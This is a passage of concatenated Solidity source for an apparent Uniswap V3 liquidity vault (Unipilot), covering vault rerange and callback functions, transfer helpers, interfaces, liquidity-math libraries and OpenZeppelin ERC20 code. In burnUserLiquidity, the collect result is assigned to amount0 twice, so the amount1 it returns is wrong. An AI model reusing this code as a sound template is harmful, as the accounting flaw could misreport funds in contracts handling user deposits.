a.amount1Desired ); } /// @notice Updates Unipilot's position. /// @dev Finds base position and limit position for imbalanced token /// mints all amounts to this position(including earned fees) /// @dev Must be called by the current governer or selected operators function rerange() external onlyOperator { _pulled = 1; (, , uint256 fees0, uint256 fees1) = pool.burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, address(this) ); transferFeesToIF(true, fees0, fees1); int24 baseThreshold = tickSpacing * getBaseThreshold(); (ticksData.baseTickLower, ticksData.baseTickUpper) = pool .rerangeLiquidity( baseThreshold, tickSpacing, _balance0(), _balance1() ); } /// @inheritdoc IUnipilotVault function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external override { _verifyCallback(); address recipient = msg.sender; address payer = abi.decode(data, (address)); if (amount0Owed > 0) pay(address(token0), payer, recipient, amount0Owed); if (amount1Owed > 0) pay(address(token1), payer, recipient, amount1Owed); } /// @inheritdoc IUnipilotVault function uniswapV3SwapCallback( int256 amount0, int256 amount1, bytes calldata data ) external override { _verifyCallback(); require(amount0 > 0 || amount1 > 0); bool zeroForOne = abi.decode(data, (bool)); if (zeroForOne) pay(address(token0), address(this), msg.sender, uint256(amount0)); else pay(address(token1), address(this), msg.sender, uint256(amount1)); } /// @dev Burns all the Unipilot position and HODL in the vault to prevent users from huge IL /// Only called by the governer or selected operators /// @dev Users can also deposit/withdraw during HODL period. function pullLiquidity(address recipient) external onlyOperator { require(unipilotFactory.isWhitelist(recipient)); ( uint256 reserves0, uint256 reserves1, uint256 fees0, uint256 fees1 ) = pool.burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, recipient ); if (recipient != address(this)) { pay(address(token0), address(this), recipient, _balance0()); pay(address(token1), address(this), recipient, _balance1()); } _pulled = 2; emit PullLiquidity(reserves0, reserves1, fees0, fees1); } /// @notice Calculates the vault's total holdings of TOKEN0 and TOKEN1 - in /// other words, how much of each token the vault would hold if it withdrew /// all its liquidity from Uniswap. /// @dev Updates the position and return the updated reserves, fees & liquidity. /// @return amount0 Amount of token0 in the unipilot vault /// @return amount1 Amount of token1 in the unipilot vault /// @return fees0 Total amount of fees collected by unipilot position in terms of token0 /// @return fees1 Total amount of fees collected by unipilot position in terms of token1 /// @return baseLiquidity The total liquidity of the base position /// @return rangeLiquidity The total liquidity of the range position - N/A for active vault function getPositionDetails() external returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 baseLiquidity, uint128 rangeLiquidity ) { return pool.getTotalAmounts(true, ticksData); } /// @notice Updates the status of given account as operator /// @dev Must be called by the current governance /// @param _operator Account to update status function toggleOperator(address _operator) external onlyGovernance { _operatorApproved[_operator] = !_operatorApproved[_operator]; } /// @notice Returns the status for a given operator that can operate readjust & pull liquidity function isOperator(address _operator) external view returns (bool) { return _operatorApproved[_operator]; } /// @notice Returns unipilot vault details /// @return The first of the two tokens of the pool, sorted by address /// @return The second of the two tokens of the pool, sorted by address /// @return The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The address of the Uniswap V3 Pool function getVaultInfo() external view returns ( address, address, uint24, address ) { return (address(token0), address(token1), fee, address(pool)); } /// @dev Amount of token0 held as unused balance. function _balance0() internal view returns (uint256) { return token0.balanceOf(address(this)); } /// @dev Amount of token1 held as unused balance. function _balance1() internal view returns (uint256) { return token1.balanceOf(address(this)); } /// @notice Verify that caller should be the address of a valid Uniswap V3 Pool function _verifyCallback() internal view { require(msg.sender == address(pool)); } function getBaseThreshold() internal view returns (int24 baseThreshold) { (, address strategy, , , ) = getProtocolDetails(); return IUnipilotStrategy(strategy).getBaseThreshold(address(pool)); } function getProtocolDetails() internal view returns ( address governance, address strategy, address indexFund, uint8 indexFundPercentage, uint8 swapPercentage ) { return unipilotFactory.getUnipilotDetails(); } /// @dev method to transfer unipilot earned fees to Index Fund function transferFeesToIF( bool isReadjustLiquidity, uint256 fees0, uint256 fees1 ) internal { (, , address indexFund, uint8 percentage, ) = getProtocolDetails(); if (fees0 > 0) TransferHelper.safeTransfer( address(token0), indexFund, FullMath.mulDiv(fees0, percentage, 100) ); if (fees1 > 0) TransferHelper.safeTransfer( address(token1), indexFund, FullMath.mulDiv(fees1, percentage, 100) ); emit FeesSnapshot(isReadjustLiquidity, fees0, fees1); } function transferFunds( bool refundAsETH, address recipient, address token, uint256 amount ) internal { if (refundAsETH && token == WETH) { IWETH9(WETH).withdraw(amount); TransferHelper.safeTransferETH(recipient, amount); } else { TransferHelper.safeTransfer(token, recipient, amount); } } /// @param token The token to pay /// @param payer The entity that must pay /// @param recipient The entity that will receive payment /// @param value The amount to pay function pay( address token, address payer, address recipient, uint256 value ) internal { if (token == WETH && address(this).balance >= value) { // pay with WETH9 IWETH9(WETH).deposit{ value: value }(); // wrap only what is needed to pay IWETH9(WETH).transfer(recipient, value); } else if (payer == address(this)) { // pay with tokens already in the contract (for the exact input multihop case) TransferHelper.safeTransfer(token, recipient, value); } else { // pull payment TransferHelper.safeTransferFrom(token, payer, recipient, value); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; //import "../interfaces/external/IERC20.sol"; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector( IERC20.transferFrom.selector, from, to, value ) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "STF" ); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.transfer.selector, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "ST" ); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20.approve.selector, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "SA" ); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{ value: value }(new bytes(0)); require(success, "STE"); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } //SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IUnipilotVault { struct ReadjustVars { uint256 fees0; uint256 fees1; int24 currentTick; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint128 liquidity; uint256 amount0; uint256 amount1; bool zeroForOne; int256 amountSpecified; uint160 exactSqrtPriceImpact; uint160 sqrtPriceLimitX96; } struct TicksData { int24 baseTickLower; int24 baseTickUpper; int24 rangeTickLower; int24 rangeTickUpper; } struct Tick { int24 baseTickLower; int24 baseTickUpper; int24 bidTickLower; int24 bidTickUpper; int24 rangeTickLower; int24 rangeTickUpper; } struct Cache { uint256 totalSupply; uint256 liquidityShare; } event Deposit( address indexed depositor, address indexed recipient, uint256 amount0, uint256 amount1, uint256 lpShares ); event FeesSnapshot(bool isReadjustLiquidity, uint256 fees0, uint256 fees1); event Withdraw( address indexed recipient, uint256 shares, uint256 amount0, uint256 amount1 ); event PullLiquidity( uint256 reserves0, uint256 reserves1, uint256 fees0, uint256 fees1 ); event CompoundFees(uint256 amount0, uint256 amount1); /// @notice Deposits tokens in proportion to the Unipilot's current holdings & mints them /// `Unipilot`s LP token. /// @param amount0Desired Max amount of token0 to deposit /// @param amount1Desired Max amount of token1 to deposit /// @param recipient Recipient of shares /// @return lpShares Number of shares minted /// @return amount0 Amount of token0 deposited in vault /// @return amount1 Amount of token1 deposited in vault function deposit( uint256 amount0Desired, uint256 amount1Desired, address recipient ) external payable returns ( uint256 lpShares, uint256 amount0, uint256 amount1 ); /// @notice Withdraws the desired shares from the vault with accumulated user fees and transfers to recipient. /// @param recipient Recipient of tokens /// @param refundAsETH whether to recieve in WETH or ETH (only valid for WETH/ALT pairs) /// @return amount0 Amount of token0 sent to recipient /// @return amount1 Amount of token1 sent to recipient function withdraw( uint256 liquidity, address recipient, bool refundAsETH ) external returns (uint256 amount0, uint256 amount1); /// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay to the pool for the minted liquidity. /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external; /// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap. /// @dev In the implementation you must pay to the pool for swap. /// @param amount0Delta The amount of token0 due to the pool for the swap /// @param amount1Delta The amount of token1 due to the pool for the swap /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; /// @notice Burns all position(s), collects any fees accrued and updates Unipilot's position(s) /// @dev mints all amounts to this position(s) (including earned fees) /// @dev For active vaults it can be called by the governance or operator, /// swaps imbalanced token and add all liquidity in base position. /// @dev For passive vaults it can be called by any user. /// Two positions are placed - a base position and a limit position. The base /// position is placed first with as much liquidity as possible. This position /// should use up all of one token, leaving only the other one. This excess /// amount is then placed as a single-sided bid or ask position. function readjustLiquidity() external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.6; pragma abicoder v2; interface IUnipilotStrategy { struct PoolStrategy { int24 baseThreshold; int24 rangeThreshold; int24 maxTwapDeviation; int24 readjustThreshold; uint32 twapDuration; int24 baseMultiplier; } event GovernanceUpdated(address oldGovernance, address newGovernance); event StrategyUpdated(PoolStrategy oldStrategy, PoolStrategy newStrategy); event MaxTwapDeviationUpdated(int24 oldDeviation, int24 newDeviation); event BaseTicksUpdated(int24 oldBaseTicks, int24 newBaseTicks); event RangeTicksUpdated(int24 oldRangeTicks, int24 newRangeTicks); event TwapDurationUpdated(uint32 oldDuration, uint32 newDuration); event ReadjustMultiplierUpdated(int24 oldMultiplier, int24 newMultiplier); function getTicks(address _pool) external returns ( int24 baseLower, int24 baseUpper, int24 bidLower, int24 bidUpper, int24 askLower, int24 askUpper ); function getTwap(address _pool) external view returns (int24); function getStrategy(address _pool) external view returns (PoolStrategy memory strategy); function getBaseThreshold(address _pool) external view returns (int24 baseThreshold); function twapDuration() external view returns (uint32); function maxTwapDeviation() external view returns (int24); function checkDeviation(address pool) external view; } //SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /// @title The interface for the Unipilot Factory interface IUnipilotFactory { /// @notice Emitted when a vault is created /// @param _tokenA The first token of the pool by address sort order /// @param _tokenB The second token of the pool by address sort order /// @param _fee The fee tier for which the vault is created /// @param _vault The address of the vault that is created event VaultCreated( address indexed _tokenA, address indexed _tokenB, uint24 _fee, address indexed _vault ); /// @notice Emitted when the governance of the factory is changed /// @param _oldGovernance The governance before the governance was changed /// @param _newGovernance The governance after the governance was changed event GovernanceChanged( address indexed _oldGovernance, address indexed _newGovernance ); /// @notice Creates a vault for the given two tokens and fee /// @param _tokenA The first token of the pool by address sort order /// @param _tokenB The second token of the pool by address sort order /// @param _fee The desired fee for the unipilot vault /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. /// The call will revert if the vault already exists, the fee is invalid, or the token arguments /// are invalid. /// @return _vault The address of the newly created pool function createVault( address _tokenA, address _tokenB, uint24 _fee, uint160 _sqrtPriceX96, string memory _name, string memory _symbol ) external returns (address _vault); /// @notice Returns the vault address for a given uniswap v3 pair of tokens and a fee /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return vault The vault address function vaults( address tokenA, address tokenB, uint24 fee ) external view returns (address vault); /// @notice Returns the status for a given account that can recieve the vault reserves after pull liquidity /// @dev by default vault address will be whitelist as a recipient in order to resist IL /// @dev Only applicable for active vaults function isWhitelist(address recipient) external view returns (bool); /// @notice Used to give addresses of governance, strategy, indexFund /// @return governance address, strategy address, indexFund address function getUnipilotDetails() external view returns ( address, address, address, uint8, uint8 ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import "./UniswapPoolActions.sol"; import "@uniswap/v3-core/contracts/libraries/TickMath.sol"; import "@uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol"; import "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol"; import "@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol"; import "../interfaces/IUnipilotVault.sol"; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library UniswapLiquidityManagement { using LowGasSafeMath for uint256; struct Info { uint256 amount0Desired; uint256 amount1Desired; uint256 amount0; uint256 amount1; uint128 liquidity; int24 tickLower; int24 tickUpper; } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. /// @param pool Uniswap V3 pool /// @param liquidity The liquidity being valued /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amounts of token0 and token1 that corresponds to liquidity function getAmountsForLiquidity( IUniswapV3Pool pool, uint128 liquidity, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256, uint256) { (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. /// @param pool Uniswap V3 pool /// @param amount0 The amount of token0 /// @param amount1 The amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return The maximum amount of liquidity that can be held amount0 and amount1 function getLiquidityForAmounts( IUniswapV3Pool pool, uint256 amount0, uint256 amount1, int24 _tickLower, int24 _tickUpper ) internal view returns (uint128) { (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), amount0, amount1 ); } /// @dev Amount of liquidity in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return liquidity stored in position function getPositionLiquidity( IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper ) internal view returns ( uint128 liquidity, uint128 tokensOwed0, uint128 tokensOwed1 ) { bytes32 positionKey = PositionKey.compute( address(this), _tickLower, _tickUpper ); (liquidity, , , tokensOwed0, tokensOwed1) = pool.positions(positionKey); } /// @dev Rounds tick down towards negative infinity so that it's a multiple /// of `tickSpacing`. function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; return compressed * tickSpacing; } function getSqrtRatioX96AndTick(IUniswapV3Pool pool) internal view returns ( uint160 _sqrtRatioX96, int24 _tick, uint16 observationCardinality ) { (_sqrtRatioX96, _tick, , observationCardinality, , , ) = pool.slot0(); } /// @dev Calc base ticks depending on base threshold and tickspacing function getBaseTicks( int24 currentTick, int24 baseThreshold, int24 tickSpacing ) internal pure returns (int24 tickLower, int24 tickUpper) { int24 tickFloor = floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; } function collectableAmountsInPosition( IUniswapV3Pool pool, int24 _lowerTick, int24 _upperTick ) internal view returns ( uint256, uint256, uint256, uint256 ) { ( uint128 liquidity, uint128 earnable0, uint128 earnable1 ) = getPositionLiquidity(pool, _lowerTick, _upperTick); (uint256 burnable0, uint256 burnable1) = UniswapLiquidityManagement .getAmountsForLiquidity(pool, liquidity, _lowerTick, _upperTick); return (burnable0, burnable1, earnable0, earnable1); } function computeLpShares( IUniswapV3Pool pool, bool isWhitelisted, uint256 amount0Max, uint256 amount1Max, uint256 balance0, uint256 balance1, uint256 totalSupply, IUnipilotVault.TicksData memory ticks ) internal returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { ( uint256 res0, uint256 res1, uint256 fees0, uint256 fees1, , ) = getTotalAmounts(pool, isWhitelisted, ticks); uint256 reserve0 = res0.add(fees0).add(balance0); uint256 reserve1 = res1.add(fees1).add(balance1); // If total supply > 0, pool can't be empty assert(totalSupply == 0 || reserve0 != 0 || reserve1 != 0); (shares, amount0, amount1) = calculateShare( amount0Max, amount1Max, reserve0, reserve1, totalSupply ); } function getTotalAmounts( IUniswapV3Pool pool, bool isWhitelisted, IUnipilotVault.TicksData memory ticks ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 baseLiquidity, uint128 rangeLiquidity ) { (amount0, amount1, fees0, fees1, baseLiquidity) = getReserves( pool, ticks.baseTickLower, ticks.baseTickUpper ); if (!isWhitelisted) { ( uint256 range0, uint256 range1, uint256 rangeFees0, uint256 rangeFees1, uint128 rangeliquidity ) = getReserves(pool, ticks.rangeTickLower, ticks.rangeTickUpper); amount0 = amount0.add(range0); amount1 = amount1.add(range1); fees0 = fees0.add(rangeFees0); fees1 = fees1.add(rangeFees1); rangeLiquidity = rangeliquidity; } } function getReserves( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1, uint128 liquidity ) { liquidity = UniswapPoolActions.updatePosition( pool, tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1, fees0, fees1) = collectableAmountsInPosition( pool, tickLower, tickUpper ); } } function calculateShare( uint256 amount0Max, uint256 amount1Max, uint256 reserve0, uint256 reserve1, uint256 totalSupply ) internal pure returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { if (totalSupply == 0) { // For first deposit, just use the amounts desired amount0 = amount0Max; amount1 = amount1Max; shares = amount0 > amount1 ? amount0 : amount1; // max } else if (reserve0 == 0) { amount1 = amount1Max; shares = FullMath.mulDiv(amount1, totalSupply, reserve1); } else if (reserve1 == 0) { amount0 = amount0Max; shares = FullMath.mulDiv(amount0, totalSupply, reserve0); } else { amount0 = FullMath.mulDiv(amount1Max, reserve0, reserve1); if (amount0 < amount0Max) { amount1 = amount1Max; shares = FullMath.mulDiv(amount1, totalSupply, reserve1); } else { amount0 = amount0Max; amount1 = FullMath.mulDiv(amount0, reserve1, reserve0); shares = FullMath.mulDiv(amount0, totalSupply, reserve0); } } } /// @dev Gets ticks with proportion equivalent to desired amount /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param baseThreshold The range for upper and lower ticks /// @param tickSpacing The pool tick spacing /// @return tickLower The lower tick of the range /// @return tickUpper The upper tick of the range function getPositionTicks( IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing ) internal view returns (int24 tickLower, int24 tickUpper) { Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0); // Get current price and tick from the pool (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); //Calc base ticks (cache.tickLower, cache.tickUpper) = getBaseTicks( currentTick, baseThreshold, tickSpacing ); //Calc amounts of token0 and token1 that can be stored in base range (cache.amount0, cache.amount1) = getAmountsForTicks( pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper ); // //Liquidity that can be stored in base range cache.liquidity = getLiquidityForAmounts( pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper ); // //Get imbalanced token bool zeroGreaterOne = amountsDirection( cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1 ); //Calc new tick(upper or lower) for imbalanced token if (zeroGreaterOne) { uint160 nextSqrtPrice0 = SqrtPriceMath .getNextSqrtPriceFromAmount0RoundingUp( sqrtPriceX96, cache.liquidity, cache.amount0Desired, false ); cache.tickUpper = floor( TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing ); } else { uint160 nextSqrtPrice1 = SqrtPriceMath .getNextSqrtPriceFromAmount1RoundingDown( sqrtPriceX96, cache.liquidity, cache.amount1Desired, false ); cache.tickLower = floor( TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing ); } checkRange(cache.tickLower, cache.tickUpper); /// floor the tick again because one tick is still not valid tick due to + - baseThreshold tickLower = floor(cache.tickLower, tickSpacing); tickUpper = floor(cache.tickUpper, tickSpacing); } /// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 amounts of token0 that can be stored in range /// @return amount1 amounts of token1 that can be stored in range function getAmountsForTicks( IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256 amount0, uint256 amount1) { uint128 liquidity = getLiquidityForAmounts( pool, amount0Desired, amount1Desired, _tickLower, _tickUpper ); (amount0, amount1) = getAmountsForLiquidity( pool, liquidity, _tickLower, _tickUpper ); } /// @dev Common checks for valid tick inputs. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range function checkRange(int24 tickLower, int24 tickUpper) internal pure { require(tickLower < tickUpper, "TLU"); require(tickLower >= TickMath.MIN_TICK, "TLM"); require(tickUpper <= TickMath.MAX_TICK, "TUM"); } /// @dev Get imbalanced token /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param amount0 Amounts of token0 that can be stored in base range /// @param amount1 Amounts of token1 that can be stored in base range /// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced function amountsDirection( uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1 ) internal pure returns (bool zeroGreaterOne) { zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import "./SafeCastExtended.sol"; import "./UniswapLiquidityManagement.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import "@uniswap/v3-core/contracts/libraries/FullMath.sol"; import "@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol"; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library UniswapPoolActions { using LowGasSafeMath for uint256; using SafeCastExtended for uint256; using UniswapLiquidityManagement for IUniswapV3Pool; function updatePosition( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal returns (uint128 liquidity) { (liquidity, , ) = pool.getPositionLiquidity(tickLower, tickUpper); if (liquidity > 0) { pool.burn(tickLower, tickUpper, 0); } } function burnLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, address recipient ) internal returns ( uint256 amount0, uint256 amount1, uint256 fees0, uint256 fees1 ) { (uint128 liquidity, , ) = pool.getPositionLiquidity( tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity); if (amount0 > 0 || amount1 > 0) { (uint256 collect0, uint256 collect1) = pool.collect( recipient, tickLower, tickUpper, type(uint128).max, type(uint128).max ); (fees0, fees1) = (collect0.sub(amount0), collect1.sub(amount1)); } } } function burnUserLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 userSharePercentage, address recipient ) internal returns (uint256 amount0, uint256 amount1) { (uint128 liquidity, , ) = pool.getPositionLiquidity( tickLower, tickUpper ); uint256 liquidityRemoved = FullMath.mulDiv( uint256(liquidity), userSharePercentage, 1e18 ); (amount0, amount1) = pool.burn( tickLower, tickUpper, liquidityRemoved.toUint128() ); if (amount0 > 0 || amount1 > 0) { (amount0, amount0) = pool.collect( recipient, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } function mintLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 amount0Desired, uint256 amount1Desired ) internal returns (uint256 amount0, uint256 amount1) { uint128 liquidity = pool.getLiquidityForAmounts( amount0Desired, amount1Desired, tickLower, tickUpper ); if (liquidity > 0) { (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(address(this)) ); } } function swapToken( IUniswapV3Pool pool, address recipient, bool zeroForOne, int256 amountSpecified ) internal { (uint160 sqrtPriceX96, , ) = pool.getSqrtRatioX96AndTick(); uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (1e5 / 2)) / 1e6; uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96 - exactSqrtPriceImpact : sqrtPriceX96 + exactSqrtPriceImpact; pool.swap( recipient, zeroForOne, amountSpecified, sqrtPriceLimitX96, abi.encode(zeroForOne) ); } function collectPendingFees( IUniswapV3Pool pool, address recipient, int24 tickLower, int24 tickUpper ) internal returns (uint256 collect0, uint256 collect1) { updatePosition(pool, tickLower, tickUpper); (collect0, collect1) = pool.collect( recipient, tickLower, tickUpper, type(uint128).max, type(uint128).max ); } function rerangeLiquidity( IUniswapV3Pool pool, int24 baseThreshold, int24 tickSpacing, uint256 balance0, uint256 balance1 ) internal returns (int24 tickLower, int24 tickUpper) { (tickLower, tickUpper) = pool.getPositionTicks( balance0, balance1, baseThreshold, tickSpacing ); mintLiquidity(pool, tickLower, tickUpper, balance0, balance1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.5 <0.8.0; import "../token/ERC20/ERC20.sol"; import "./IERC20Permit.sol"; import "../cryptography/ECDSA.sol"; import "../utils/Counters.sol"; import "./EIP712.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") { } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed 